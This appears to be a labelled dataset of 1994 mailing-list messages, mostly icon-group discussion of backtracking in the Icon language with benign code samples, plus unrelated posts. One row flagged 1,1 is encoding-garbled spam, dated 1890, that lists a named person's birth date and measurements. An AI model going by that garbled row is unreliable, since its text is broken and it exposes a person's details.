Icon. I have just finished teaching a course ""The Computer and Natural Language"" using Icon. Through this course, Icon's backtracking became one of my fondest friends, so to speak. I do not have the page numbers, but in the section on pattern matching of Griswold and Griswold, there is a description of language recognizers and parsers that involves writing pattern matching functions. Backtracking is an essential part of the functioning of such recognizers, and makes it possible to teach linguistics students how to write parsers by applying a simple translation process to get from a formalism they know: NP -> (Det) N to something that can actually be used to parse sentences procedure N() suspend [""NP"", N()] | [""NP"", D(), N()] end (note that this is out of context -- it is used inside a scanning expression, and it is the backtracking that makes it work) I have recently tried to implement something similar in another language that I use (because it is visual), which even employs failure, but which does not have built-in backtracking. The result was an indescribable mess. I would rank backtracking among the most important features of Icon for what I do. There are many many problems you can solve very elegantly with built-in backtracking, and once you finally understand it, it is hard to live without. BTW, one of my students wrote an Icon program to transcribe Tibetan in roman transcription into Tibetan orthography, using techniques exactly like those referred to above. Tibetan graphemes have different shapes (i.e. different ascii codes for us) depending on the position within the syllable that they occur in. Using a phonotactic parser that exploits Icon's backtracking allows an elegant solution to this otherwise difficult problem. John C. Paolillo Linguistics Program University of Texas at Arlington ",0,0 karczma@univ-caen.fr,icon-group@cs.arizona.edu,"Sat, 17 Dec 1994 12:54:04 +0100",Backtracking in Icon," Dave Kuhlman (dkuhlman@netcom) finished his last posting with a remark and a question: > Anyway, I'd be interested to know if others use backtracking > more heavily, or whether maybe this is just a ""neat"" but > not so useful feature of Icon. > Or, could it be that the fact that Icon does not have logical > variables, as Prolog does, make backtracking and goal seeking > evaluation less usable? John Paolillo (johnp@utafll.uta.edu) decided then to share his experience: > I have just finished teaching a course ""The Computer and Natural Language"" > using Icon. Through this course, Icon's backtracking became one of my > fondest friends, so to speak. ... > Backtracking is an essential > part of the functioning of such recognizers, and makes it possible > to teach linguistics students how to write parsers by applying a > simple translation process to get from a formalism they know: > NP -> (Det) N > ... etc. > I have recently tried to implement something similar in another > language that I use (because it is visual), which even employs > failure, but which does not have built-in backtracking. The result > was an indescribable mess. I would rank backtracking among the > most important features of Icon for what I do. There are many > many problems you can solve very elegantly with built-in backtracking, > and once you finally understand it, it is hard to live without. A short (?) comment. Backtracking is essential when you use non-deterministic parsing strategies. For linguists, people who read grammar production rules rather conceptually than technically, obviously this is a great thing. You won't teach them the LALR methods, left recursion removal by Greibach normalization, etc., unless you want them to strangle you... Unfortunately, in the domain of computer languages, we have a 30 years old (bad?) tradition - the quest for efficiency, and backtracking is used mainly for teaching, and not for the parser construction. My students might be fascinated by the non-deterministic parsers written in Prolog and using heavily the differential lists, but if they have to write a serious project, they take YACC... But, fortunately, there are other domains where backtracking may be helpful, for exemple other kind (than syntaxical) generators: all kind of combinatorial problems, code-breaking, game playing, task planning etc. Is the existence of the logical variable essential? I don't know, but I doubt. The only place, where this IS essential, and you cannot reproduce this by the reversible instantation is the usage of incomplete data structures in Prolog, e.g. the differential lists. But maybe I am wrong. In the Artificial Intelligence domain, when you have to schedule a solution of a non-deterministic problem, the backtracking IS the only way of doing it reasonably fast (in terms of human time, not the efficiency of the algorithm). Then, it is necessary sometimes to memorize a partial solution. In Prolog this is simply lousy. In Icon this is easier and elegant. I think that Icon may eventually become more popular thanks to its plethora of data structures, and the legibility of the programs. But somebody has to write a serious book showing how to solve real life problems with it. Any takers? Still, another word of critics of gnikcartkcab: ""once you finally understand it, it is hard to live without"". No Sir, not necessarily. You may replace the backtracking, whose role is to provide you an alternative collection of solutions to a given problem, by a LAZY LIST of these solution. So, the lazy functional languages give you an alternative. You may find some information about this in quite respectable books, for example Henderson, or Abelsson&Sussman. You may wish to read the paper ""Painless parsing in Haskell"", where this idea is applied to the syntactic analysis. On the other hand, implementing lazy evaluation in Icon is a real pleasure, although it is not natural (as the parameters are passed by value), and it is not very efficient. Jerzy Karczmarczuk Dept. d'Informatique, Universite de Caen, Normandy, France. ",0,0 ruiter@ruls41.fsw.LeidenUniv.nl,icon-group-l@cs.arizona.edu,"Sat, 17 Dec 1994 15:33:01 +0000",Re: Backtracking in Icon,"G. David Kuhlman (dkuhlman@netcom.com) wrote: : But now, in spite of the fact that I have a language : with a strong backtracking mechanism, I find that I : don't use it much, except of course, for trivial : constructs like: : (checkValid(x) | write(""error"")) I must admit that in the thousands of Icon programs that I've written, I've used serious backtracking only once. But when I used it, it turned out to be very handy. I had this large lexicon of nouns, and had to devise 4tuples of word pairs like this: toilet paper paper cloth cloth builder builder toilet (NOTE: this is a nonsense example, only for illustration - in Dutch you have compounds, that look like ""toiletpaper"", and then it makes more sense to look for these 4tuples for not all compounds exist in the Dutch lexicon) I could just write a statement with &'s specifying the relations I needed, and generate them all using backtracking. Very nice indeed! There's one more thing I'd like to point out, and that is that the construct you used as an example can also be programmed in C. If you just write (checkValid(x) || printf(""error"")); you'll have the same thing. So it isn't really backtracking here. It's actually ""short circuit evaluation"". The same thing can be done in LISP or SCHEME, without backtracking. What _can't_ be done in C, and is very convenient in Icon, is nlines := +argument[1] | 10 thereby establishing a default value for nlines that can be overwritten by a commandline argument. This is a very natural formulation that I use very often in my Icon programs. Hoping to have been informative, Jan ",0,0 """G�n�M�H�W�i�R�ʷP���k�@������ / �C���ҬO�����襤����� �Фſ��L{���R��}"" ",christi@zingg.weru.ksu.edu,"Sat, 19 Jul 1890 08:27:09 +0800",Hilary~ [�۩�]�@�d�����A��~�o�ˤ~�@�d~�ڪ��p�̧̯u�O�S���n~extradition ,�s�W����1 {���v��}�z�����������]�O���n�w~(�a~�Y�@����H�������n�����C~)Hilary Hilary~�m�M���r���n���b��������DVD��20���������W���M�\\ �������C�� �i�R���������� �P���H���~���R���� / ���H�����g���p���� �~�[�����g��{������} Maki Haruno �K���u�� 8/8/1980 165 86-58-88 C-65 �@ ������ �����],1,1 bsa@kf8nh.wariat.org,icon-group-l@cs.arizona.edu,"Mon, 19 Dec 1994 14:54:50 +0000",Re: Backtracking in Icon,"Also sprach ruiter@ruls41.LeidenUniv.nl (Jan-Peter de Ruiter) (<3cv0bd$gdv@highway.leidenuniv.nl>): +--------------- | G. David Kuhlman (dkuhlman@netcom.com) wrote: | : But now, in spite of the fact that I have a language | : with a strong backtracking mechanism, I find that I | : don't use it much, except of course, for trivial | | : constructs like: | | : (checkValid(x) | write(""error"")) | | nlines := +argument[1] | 10 | thereby establishing a default value for nlines that can be | overwritten by a commandline argument. This is a very natural | formulation that I use very often in my Icon programs. +------------->8 I think the problem with general use of backtracking is that, while convenient, it's less efficient than improved algorithms are for any given task. (Compare recursive vs. nonrecursive algorithms as another example.) Nevertheless, when it's needed (no readily available non-backtracking algorithm available in a timely fashion) backtracking is very useful. ++Brandon -- Brandon S. Allbery KF8NH [44.70.248.67] bsa@kf8nh.wariat.org Linux development: iBCS2, JNOS, MH ~\\U Controlling application developers is like herding cats. --Oracle DBA Manual",0,0 "Chris Rines <""WMCV01::CHRISR""@vmsmail.gov.bc.ca>",icon-group@cs.arizona.edu,"Mon, 19 Dec 1994 10:39:50 -0800",SGML Parser ?,"Hi all, I was wondering if anyone has greated a validating SGML parser with Icon and would be willing to share the source code. If not is there some good samples kicking around that I could use to learn from and then apply that knowledge towards creating an SGML parser. Thank You for your time, Chris ",0,0 Chris Rines ,icon-group@cs.arizona.edu,"Mon, 19 Dec 1994 10:42:52 -0700",Windows and Mac Icon,"Hi again, Could someone out there give me some info about the latest Windows & Mac port of Icon (version, etc). Also is the graphics library being ported to these to platforms ? Will they be wrappers around the given operating systems APIs so that the Icon code will be portable ? Thanks, Chris ",0,0 sysmgr@iias.images.alaska.edu,icon-group@cs.arizona.edu,"Mon, 19 Dec 1994 09:54:03 +0000",Re: Backtracking in Icon,">> >>""once you finally understand it, it is hard to live without"". >> >No Sir, not necessarily. You may replace the backtracking, whose role is to >provide you an alternative collection of solutions to a given problem, by >a LAZY LIST of these solution. So, the lazy functional languages give you >an alternative. You may find some information about this in quite respectable >books, for example Henderson, or Abelsson&Sussman. > He didn't say it was impossible to live without backtracking once you have seen the light, just difficult. I'm not sure what you mean by ""lazy lists"" - I haven't heard that term before, but if I understand what you mean then isn't using arrays/lists to hold intermediate results then returning to one of those previous states to continue along another path also backtracking? That's what I call it, but perhaps I am misusing the term. Walter R. ",0,0 Zvi Lamm ,icon-group@cs.arizona.edu,"Mon, 19 Dec 1994 21:10:33 +0200",Backtracking is a way of thinking (was: Re: Backtracking),"The question isn't really if you can program without backtracking. Sure you can, all you need for programming are those little micro-code instructions... The question should be made clear: which programming constructs provide better tools for us to use? Icon is a good language since it give you some important tools that help you work (goal directed evaluation, generators, lists, tables etc...) It is important to rank the different tools by how useful they are. And I am sorry to conclude that since people here say they rarely use it, backtracking doesn't seem to be a very popular or useful tool. I just want to emphesize that this is all part of the larger picture- that is what language you use and what it offers. In prolog, for example, bakctracking is of the essential... Perhapse in Icon we don't need it so much. What do we use instead? Lazy-lists? supension? Is this choice of other tools justified? These qustions I hope will be answered by some Icon gurus... Ehud Lamm ",0,0 swampler@noao.edu,icon-group@cs.arizona.edu,"Mon, 19 Dec 1994 14:08:33 +0700",Re: Backtracking in Icon,"Brandon Allbery wrote: >> >> I think the problem with general use of backtracking is that, while >> convenient, it's less efficient than improved algorithms are for any given >> task. (Compare recursive vs. nonrecursive algorithms as another example.) >> Nevertheless, when it's needed (no readily available non-backtracking >> algorithm available in a timely fashion) backtracking is very useful. >> Undoubtably true. However, if the speed of execution isn't particularly important (for example, if the program is interactive and likely to be dominated by the 'idle user loop'...), then backtracking solutions can be easy to implement *if* one is thinking that way. The following code fragment is one that Ehud mentioned as an example of backtracking. The original author is Dan Higdon (are you out there, Dan?), way back in '88. I just added some additional features needed by the university I was at during that period. It's the heart of a course scheduling application to let students work out schedules that suit their needs in an environment where there might be 10's and 100's of sections of some courses. The algorithm is a bit daunting if you're not used to (1) Icon, (2) backtracking and (3) combining recursion with backtracking, but I think it's pretty straightforward given those constraints. It takes out a class, schedules the remaining classes (that's the recursion), then tries to find a section of the 'deleted' class that fits in the student's schedule and meets a series of constraints {for example, the campus is 1.5 miles long, north to south (with a green belt in the middle), so the routine nonConflicting() includes a check for how much time there is between classes at opposite ends of campus. It also checks to see if there is room in the class, etc. If the class cannot be scheduled or the schedule is rejected by the student running the program, then the algorithm backtracks to try another section of the previous class. (and so on...) Oh yes, for classes with required labs, it automatically adds those to the schedule as well. Enough of that, here's the heart of the algorithm: -------------------------------------------------------------------------------- # In order to preserve the backtracking idea, schedule is # a generator which generates the possible schedules at # that level of recursion. # # clist is a list of class names # # The algorithm is as follows: # If clist is null, fail # otherwise, # Generate every remaining schedule and do the following with each: # get the class name # Generate every non-null and unconflicting time for each class and # insert it into the set # suspend this schedule, then delete the entry # procedure schedule (cs) local t, schedl, class, tlab if *cs = 0 then return cs # end the recursion, the set of classes is done delete(cs,class := ?cs) # randomly pick out a class... # then schedule all the others # before fitting this one in. every schedl := schedule(cs) & freespace(t := !classdb[class]) & nonConflicting(t, schedl) & (/t.lab | nonConflicting(tlab <- !\\t.lab,schedl)) do { # Got it! Put it (and lab) into schedule suspend set([t, \\tlab] | [t])\\1 ++ schedl } end ------------------------------------------------------------------------------- If you've lasted this long, give the program a try...telnet to pine.cse.nau.edu and login in as 'sch'. You'll need an ANSI compatible terminal to see the schedules themselves. Try the command 'help', then (say) 'help new'. You can get a list of classes in a department by using the 'courses' command, e.g. courses cse will list all the courses offered by the Computer Science and Engineering department. courses cse4 will list all the 400-level (senior) courses. (So Icon devotees will immediately infer that match() is used to look up courses, and yes, courses """" will list every course offered at the university (I hope you have a *fast* connection!.) Do the school a favor and don't print out any schedules! -- Steve Wampler - swampler@gemini.edu [Gemini 8m Telescopes Project (under AURA)] -- The Gods that were smiling when you were born are laughing now. -- found in a fortune cookie",0,0 rpereda@wotangate.sc.ti.com,icon-group-l@cs.arizona.edu,"Mon, 19 Dec 1994 23:42:51 +0000",Re: Backtracking in Icon,"I've found bactracking to really shine when used to build very powerful parsers with a minimum of effor. Pages 184-186 of the Icon Book gives just an inkling of what is possible. --- Ray Pereda rpereda@tools.micro.ti.com ",0,0 Will Mengarini ,icon-group-l@cs.arizona.edu,"Tue, 20 Dec 1994 06:36:10 +0000",Re: Backtracking in Icon,"dkuhlman@netcom.com (G. David Kuhlman) writes: >[...] in spite of the fact that I have a language >with a strong backtracking mechanism, I find that I >don't use it much, except of course, for trivial >constructs like > (checkValid(x) | write(""error"")) >which I feel I have to write instead of an >'if' statement so that I can feel like a cool Icon programmer. >I'd be interested to know if others use backtracking more heavily [...] Here are two Icon programs that backtrack for parsing. I hope their length doesn't inconvenience anybody; I thought they were worth posting because the backtracking control structures look weird, & I'd be interested in seeing how other people prettyprint theirs. -------------------------------------------------------------------- # FNortPth.Icn (Full Norton Path) - Will Mengarini - 10 Aug 92 # Filter Norton FA | FS output so each line is 1 full file path # Sample FA output excerpts preceded by column-ruler line: # # 123456789012345678901234567890 # D:\\-\\I # deldupln.icn # fnortpth.icn Archive # gug Archive # # 33 files shown # no files changed # # D:\\-\\I\\^ # deldupln.asv # deldupln.icn Archive # reverse.icn # scrap.b Archive # _.rst Archive # # 9 files shown # no files changed # # Total of all files # 42 files shown # no files changed # Sample FS output excerpts preceded by column-ruler line: # # 123456789012345678901234567890 # D:\\-\\I # whug 1,344 bytes # fnortpth.icn 215 bytes # # 30,272 total bytes in 33 files # 77,824 bytes disk space occupied, 61% slack # # D:\\-\\I\\^ # deldupln.asv 1,122 bytes # deldupln.icn 1,058 bytes # # 12,399 total bytes in 9 files # 24,576 bytes disk space occupied, 50% slack # # Total of all files found # 42,671 total bytes in 42 files # 102,400 bytes disk space occupied, 58% slack # # Drive usage # 33,435,648 bytes available on drive D: # 12,103,680 bytes unused on drive D:, 36% unused procedure main() while read() ?( # All & only lines containing ""\\\\"" are directories. They begin (after # leading whitespace) with the drive letter, & end with ""\\\\"" only if # they specify the root. There are no other words on such lines. tab(many(' ')), dir := tab(upto('\\\\')) || tab(0) || (move(-1) ~== ""\\\\"" | """") )|( # Lines containing file names begin with leading whitespace. Then # come the name & extension as a single word with a separating "".""; # there's no whitespace between the name & extension, unlike the # columnar format of FI & Dir. If the extension is empty, the ""."" is # omitted. In FS, all file names are on lines ending with ""bytes""; no # other lines end with ""bytes"". In FA, file names are followed by a # list of attributes like ""Archive""; no other lines contain the words # denoting those attributes; the list may be empty, in which case the # line has only 1 word; no other lines have only 1 word except # directory lines. Therefore, file names are all & only the initial # words on lines that either have no other words & are not directory # lines, | end with ""bytes"" | a word denoting an attribute. (( ( tab(many(' ')), tab(many(~' \\\\')), pos(0) # We already know this isn't a directory line since control # can't get this far unless the alternative that handles # directory lines fails. However, the code is more robust if # it doesn't depend on that, & inserting an extra char in a # cset entails no extra run-time computation. )|( reverse(&subject) ? match(reverse( ""bytes"" | ""hive"" | ""d-Only"" | ""dden"" | ""stem"" )) ) ) & &pos:=1 & ( tab(many(' ')), write( dir || tab(upto(' ')|0) ) )) )|1 end -------------------------------------------------------------------- # IconGrp.Icn - Will Mengarini - 20 Oct 93 # Takes a //cs.arizona.edu/.../icon/newsgrp/*.txt, which is unthreaded, & # rewrites it in threaded order. The [input, output] file is arg[[1,2]]. # A 2-level ISAM is required to get everything right. First, index file 1 # is written with each line corresponding to a message in the download. # Sorting this file by subject groups together all messages for each thread. # Then, index file 2 is written with each line corresponding to an entire # thread of messages. Index file 1 is then rewritten with the threads still # grouped, but now in chronological rather than alphabetical order; finally, # the same rewriting routine (procedure lookup) is used for the target file. # All this temporary data is kept in temporary files on disk rather than # in RAM, so large newsgroup files can be threaded. # The top line of each article is assumed & required to be the line that # begins with the heading ""From icon-group-sender"". This line not only marks # the beginning of an article, it also contains the date in a consistent # format, whereas ""Date: "" lines' formats vary. # This program was developed on a MS-DOS system, & requires the presence # of a sort utility that can accept I/O redirection using ""<"" & "">"", & can # be told the starting column of the sort key using a syntax like # ""/+41"" (to start in column 41). If you want to run on a different system # that has a system sort with these functions but a different invocation # syntax, you need to change the 2 system() calls in main(). # The temporary files have names ending in "".tmp"". global subjectLength, whenLength, startAtLength, linesLength procedure main(arg) subjectLength := 40 whenLength := 14 startAtLength := 12 linesLength := 05 arg[1] || arg[2] | stop( ""Usage: IconGrp "" ) write( ""Writing index file 1"" ) index1( arg[1], ""IcnGrp1a.tmp"" ) write( ""Sorting index file 1"" ) system( ""sort IcnGrp1b.tmp"" ) write( ""Writing index file 2"" ) index2( ""IcnGrp1b.tmp"", ""IcnGrp2a.tmp"" ) write( ""Sorting index file 2"" ) system( ""sort IcnGrp2b.tmp /+"" || subjectLength + 1 ) write( ""Using index file 2 to rewrite index file 1"" ) lookup( ""IcnGrp2b.tmp"", ""IcnGrp1b.tmp"", ""IcnGrp1c.tmp"" ) write( ""Using index file 1 to rewrite BBS file"" ) lookup( ""IcnGrp1c.tmp"", arg[1], arg[2] ) write( ""IconGrp finished."" ) end procedure writeIndexLine( out, subject, when, startAt, lines ) writes( out, left( subject, subjectLength ) ) writes( out, left( when , whenLength ) ) writes( out, right( startAt, startAtLength ) ) write ( out, right( lines , linesLength ) ) return end procedure index1( in, out ) months := [""jan"",""feb"",""mar"",""apr"",""may"",""jun"", ""jul"",""aug"",""sep"",""oct"",""nov"",""dec"",""""] in := open( in, ""r"" ) | stop( ""Couldn't open "" || in ) out := open( out, ""w"" ) | stop( ""Couldn't open "" || out ) lineNumber := 0 while at := where(in) & line := !in & lineNumber +:= 1 do { line ? (( = ""From icon-group-sender"", # # Write data for previous article if there was one # if writeIndexLine( out, subject, when, startAt, \\lines ) then { write( "" index1: at = "", at ) } else { ""do not fail"" }, lines := 0, startAt := at, # # Parse the date; the line looks like # From icon-group-sender Thu Mar 18 12:24:03 1993 # We are here --------------^ # map(tab(0)) ? ( tab(find( months[month := (1 to *months)] )), # We're now at the *start* of the month name tab(many(~' ')), tab(many(' ')), date := tab(many(&digits)), tab(many(' ')), time := tab(many(~' ')), tab(many(' ')), year := tab(0) ), if month = 13 then { stop(""Month not found on line # "",lineNumber) } else { when := year[3:0] || "" "" || right(month,2,""0"") || "" "" || right(date,2,""0"") || "" "" || time[1+:5] } )|( =""Subject: "", subject := tab(0), # # Extract the subject (which will define the thread) # ( map(subject) ? (= ""re:"", tab(many(' ')), subject[1:&pos] := """") )|( ""do not fail"" ) )) lines +:= 1 } writeIndexLine( out, subject, when, startAt, lines ) every close( in | out ) end procedure index2( in, out ) in := open( in, ""r"" ) | stop( ""Couldn't open "" || in ) out := open( out, ""w"" ) | stop( ""Couldn't open "" || out ) while at := where(in) & line := !in do { if subject ~=== line[1+:subjectLength] then { write( "" index2: at = "", at ) writeIndexLine( out, \\subject, when, startAt, lines ) line ? ( subject := move(subjectLength), when := move(whenLength) ) lines := 0; startAt := at } lines +:= 1 } writeIndexLine( out, subject, when, startAt, lines ) every close( in | out ) end procedure lookup( index, in, out ) index := open( index, ""r"" ) | stop( ""Couldn't open "" || index ) in := open( in, ""r"" ) | stop( ""Couldn't open "" || in ) out := open( out, ""w"" ) | stop( ""Couldn't open "" || out ) every !index ? ( move(subjectLength + whenLength), at := move(startAtLength), lines := move(linesLength) ) do { write( "" lookup: at == \\"""", at, ""\\"", lines == \\"""", lines, ""\\"""" ) seek( in, at ) every 1 to lines do write( out, read(in) ) } every close( index | in | out ) end -------------------------------------------------------------------- Will Mengarini Be gentle, I'm from Delphi ""(sorry, I can't figure out how to edit with this mail-reader)"" --Marvin Minsky, quoted by Tom Maddox",0,0 a03cramerman@attmail.com,Multiple recipients of list ,"Tue, 20 Dec 1994 12:32:55 -0600",NEW SUBSCRIBER,"Hello to the Wind_Erosion Conference. My name is Dick Amerman. Those of us foolish enough to go by middle names usually have to explain -- you may also see my name as C. Richard and Carroll R. I am a member of the Agricultural Research Service National Program Staff, stationed in Beltsville, MD. Although I am a hydrologist by training and research experience, I have the task of keeping track of the Agency's erosion program - wind and water. Therefore, I am interested in anything having to do with erosion - state of the art knowledge, research programs anywhere (who, where, what, etc.), research progress, the customers we serve and their views of their problems, the politics of erosion, social impacts, etc. etc. I work with colleagues at Cooperative State Research, Education, and Extension Service (CSREES) and am interested in State Agricultural Experiment Station (AES) work on erosion as well as ARS. Incidentally did anybody ask Wayne Murphey to join the Conference? Berlie Schmidt? Maury Horton? -- I'm at home on leave for the holidays and don't have access to the original invitation list. For the past eight years or so, ARS has been focusing closely on developing a process-based replacement for the Wind Erosion Equation that we are calling WEPS - Wind Erosion Prediction System. Larry Hagen at Manhatten is the contact on it. We have also developed RWEQ - Revised Wind Erosion Equation that is in preliminary testing with the Natural Resource Conservation Service (NRCS) now. Bill Fryrear at Big Spring is the contact on that one. A first version of WEPS should be available for NRCS initial testing this coming fall. We realize that WEPS and RWEQ will continue to consume considerable time and other resources in the ARS wind erosion research program. However, we hope to be able to return some resources to other wind erosion research besides prediction technology development. To that end we are beginning discussion about what the wind erosion priorities are and how we ought to shape the ARS program for the future. I will welcome anyone's thoughts regarding wind erosion research topics and their ideas of priorities. I will remind you that all the federal agencies, ARS, CSREES, and NRCS included, will in 1997 have to conform to the Government Performance and Results Act under which agency performance will be judged on ""outcomes"" and customer satisfaction. The way it looks now, outcomes will largely be judged from their societal effects. Technical excellence is a prerequisite to good societal effects, but such technology must be RELEVANT to society's needs and in USEABLE FORM in order that it may be picked up, used, and have that desirable impact. I think outcomes from the new prediction technology will serve us all well for a few years. We can afford to get into some basic and applied research, but need to have a strategy for assuring that results from such research get put into forms that result in significant outcomes several years down the road. I hope that SAES scientists and others will join in discussion of the ARS wind erosion program. ARS should know what SAES and others are doing and planning to do in order to avoid undue overlap. Also, maybe we can leveradge each other's work - there are mighty few people working in wind erosion research, and we need to make the best use of all the resources collectively available to us -- and do it in such a way that contributions to outcomes are attributable. C. R. Amerman ph. 301/504-6441 USDA-ARS-NPS Fax 301/504-5467 Rm 233, Bldg 005, BARC-West FTS2000Mail !a03cramerman Beltsville, MD 20705 Internet !a03cramerman@attmail.com or ramerman@asrr.arsusda.gov Hello to the Win ",0,0 norman@flaubert.bellcore.com,icon-group-l@cs.arizona.edu,"Tue, 20 Dec 1994 19:29:21 +0000",Re: Backtracking in Icon," I use goal-directed evaluation (backtracking) heavily, mostly to implement predicates of the form ``there exists an X such that P(X).'' I occasionally find other uses. I wish there were an equally nice way to write ``forall'' predicates (I usually negate everything in sight to get an ``exists'' predicate). ",0,0 scott@cs.arizona.edu,icon-group-l@cs.arizona.edu,"Tue, 20 Dec 1994 16:45:29 -0700",Re: Backtracking in Icon,"In article <3d7bah$q2e@lowell.bellcore.com>, Norman Ramsey wrote: > >I use goal-directed evaluation (backtracking) heavily, mostly to >implement predicates of the form ``there exists an X such that P(X).'' >I occasionally find other uses. I wish there were an equally nice way >to write ``forall'' predicates (I usually negate everything in sight >to get an ``exists'' predicate). > Could you post an example of this? I'm very curious to see what it is you are doing. I would also like to see what type of ""forall"" predicates you want to implement. Thanks. -- Scott Gilbert ( scott@cs.arizona.edu )",0,0 Maarten@aobh.xs4all.nl,umueller@amiga.icu.net.ch,"Sun, 04 Dec 1994 10:02:44 -0000",Re: Aminet CD 4,"UDM> Could you write a step by step explanation on how to user Aminet UDM> CDROMS on the CD32? I would then mail it to the people who have UDM> reported to me the same problem, and we could post it on csa.cd32 and UDM> Aminet. Step 1. Mount a RAD: recoverable RAM disk in the CD32. My experience is that when you cet HighCyl to about 49, you are able to fit a usable Workbench on it and still use the CD32 to a useful extent. Step 2. Copy the LIBS: and C: dirs straight from the Workbench-equipped CD you booted from. The Commodore Demo CD is ideal, since it contains Workbench 3.1, whereas most others use 3.0. To save space, you could consider deleting some libraries you don't need anyway, like LIBS/rexx#?. Also, you can probably do without C/Edit and a couple of others. Step 3. Create the following directories on RAD: : S, Prefs, Prefs/Env-Archive, Prefs/Env-Archive/sys Step 4. Copy the settings you want from ENVARC:sys/ to RAD:Prefs/Env-Archive/sys/ You can omit this step, but you'll be left with a very boring, standard Workbench, which is probably off-centre on your screen, which looks boring in blue and grey and has a whooping big mouse pointer. Step 5. Make a small startup-sequence in RAD:S/, like : C:SetPatch <>NIL: C:MakeDir <>NIL: RAM:T RAM:Clipboards RAM:ENV RAM:ENV/Sys C:Copy <>NIL: ENVARC: RAM:ENV ALL NOREQ C:Assign <>NIL: ENV: RAM:ENV C:Assign <>NIL: T: RAM:T C:Assign <>NIL: CLIPS: RAM:Clipboards C:IPrefs C:LoadWB EndCLI <>NIL: Step 6. Remove the bootable CD from the drive and reboot the CD32. It should now boot from RAD: and leave you with a Workbench and about 1,2 MB RAM free. If you insert the AmiNet CD now, it works. G'bye then, /|/| ___ /|/| / / |aarten |er / / |ors email: maarten.ter.mors@aobh.xs4all.nl -- Via Xenolink 1.90",0,0 George Thiruvathukal ,ralph@cs.arizona.edu,"Wed, 21 Dec 1994 11:52:28 -0600",Icon & Unix pipes,"Hi, Prof. Griswold, I am using Icon to develop a collection of tools called the Web Construction Set. Icon is proving to be very useful for the task at hand, but I am having some trouble using pipes. It does not appear to be possible to open a full-duplex pipe between processes. This is sort of a pain, because I will then be forced to use files to communicate results between processes. One of the goals of WCS is to generate pages without using intermediate files on the Web server. Thanks for any suggestions on how to proceed. -George ",0,0 mdmcdo01@vulcan.spd.louisville.edu,icon-group-l@cs.arizona.edu,"Wed, 21 Dec 1994 18:17:55 +0000",icon-mode lisp package for icon," does anyone have the icon-mode lisp package for the emacs editor? i would appreciate a pointer to it. thanks -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ mark d. mcdonald | mdmcdo01@starbase.spd.louisville.edu ~ ~ speed scientific school | phone: (812) 738-7194 ~ ~ university of louisville | ~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ",0,0 abrahams@equinox.ShaysNet.COM,icon-group@cs.arizona.edu,"Wed, 21 Dec 1994 23:03:40 -0500",Where is icon-mode.el for Emacs?,"A recent post suggested that an Icon mode file for Emacs could be found at ftp.cs.arizona.edu in directory icon/contrib/emacs. I looked there and found only icon-describe.el and cognate files. So is there somewhere I can get the Lisp code for editing Icon programs under Emacs? Paul Abrahams abrahams@acm.org ",0,0 jeffery@runner.jpl.utsa.edu,abrahams@equinox.ShaysNet.COM,"Thu, 22 Dec 1994 06:43:19 -0600",Re: Where is icon-mode.el for Emacs?,"I was under the impression that GNU emacs came with an icon-mode.el At least, I know *I* didn't have to write one. Here's what I've been using; its hacked a bit from the real one. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Icon code editing commands for Emacs ;; Derived from c-mode.el 15-Apr-88 Chris Smith convex!csmith ;; Copyright (C) 1988 Free Software Foundation, Inc. ;; This file is part of GNU Emacs. ;; GNU Emacs is distributed in the hope that it will be useful, ;; but WITHOUT ANY WARRANTY. No author or distributor ;; accepts responsibility to anyone for the consequences of using it ;; or for whether it serves any particular purpose or works at all, ;; unless he says so in writing. Refer to the GNU Emacs General Public ;; License for full details. ;; Everyone is granted permission to copy, modify and redistribute ;; GNU Emacs, but only under the conditions described in the ;; GNU Emacs General Public License. A copy of this license is ;; supposed to have been given to you along with GNU Emacs so you ;; can know your rights and responsibilities. It should be in a ;; file named COPYING. Among other things, the copyright notice ;; and this notice must be preserved on all copies. (provide 'icon-mode) (defvar icon-mode-abbrev-table nil ""Abbrev table in use in Icon-mode buffers."") (define-abbrev-table 'icon-mode-abbrev-table ()) (defvar icon-mode-map () ""Keymap used in Icon mode."") (if icon-mode-map () (setq icon-mode-map (make-sparse-keymap)) (define-key icon-mode-map ""{"" 'electric-icon-brace) (define-key icon-mode-map ""}"" 'electric-icon-brace) (define-key icon-mode-map ""\\e\\C-h"" 'mark-icon-function) (define-key icon-mode-map ""\\e\\C-a"" 'beginning-of-icon-defun) (define-key icon-mode-map ""\\e\\C-e"" 'end-of-icon-defun) (define-key icon-mode-map ""\\e\\C-q"" 'indent-icon-exp) (define-key icon-mode-map ""\\177"" 'backward-delete-char-untabify) (define-key icon-mode-map ""\\t"" 'icon-indent-command)) (defvar icon-mode-syntax-table nil ""Syntax table in use in Icon-mode buffers."") (if icon-mode-syntax-table () (setq icon-mode-syntax-table (make-syntax-table)) (modify-syntax-entry ?\\\\ ""\\\\"" icon-mode-syntax-table) (modify-syntax-entry ?# ""<"" icon-mode-syntax-table) (modify-syntax-entry ?\\n "">"" icon-mode-syntax-table) (modify-syntax-entry ?$ ""."" icon-mode-syntax-table) (modify-syntax-entry ?/ ""."" icon-mode-syntax-table) (modify-syntax-entry ?* ""."" icon-mode-syntax-table) (modify-syntax-entry ?+ ""."" icon-mode-syntax-table) (modify-syntax-entry ?- ""."" icon-mode-syntax-table) (modify-syntax-entry ?= ""."" icon-mode-syntax-table) (modify-syntax-entry ?% ""."" icon-mode-syntax-table) (modify-syntax-entry ?< ""."" icon-mode-syntax-table) (modify-syntax-entry ?> ""."" icon-mode-syntax-table) (modify-syntax-entry ?& ""."" icon-mode-syntax-table) (modify-syntax-entry ?| ""."" icon-mode-syntax-table) (modify-syntax-entry ?\\' ""\\"""" icon-mode-syntax-table)) ; this used to be 4 (defconst icon-indent-level 3 ""*Indentation of Icon statements with respect to containing block."") (defconst icon-brace-imaginary-offset 0 ""*Imagined indentation of a Icon open brace that actually follows a statement."") (defconst icon-brace-offset 3 ""*Extra indentation for braces, compared with other text in same context."") ; this used to be 4 (defconst icon-continued-statement-offset 3 ""*Extra indent for lines not starting new statements."") (defconst icon-continued-brace-offset 0 ""*Extra indent for substatements that start with open-braces. This is in addition to icon-continued-statement-offset."") (defconst icon-auto-newline nil ""*Non-nil means automatically newline before and after braces, and after colons and semicolons, inserted in C code."") 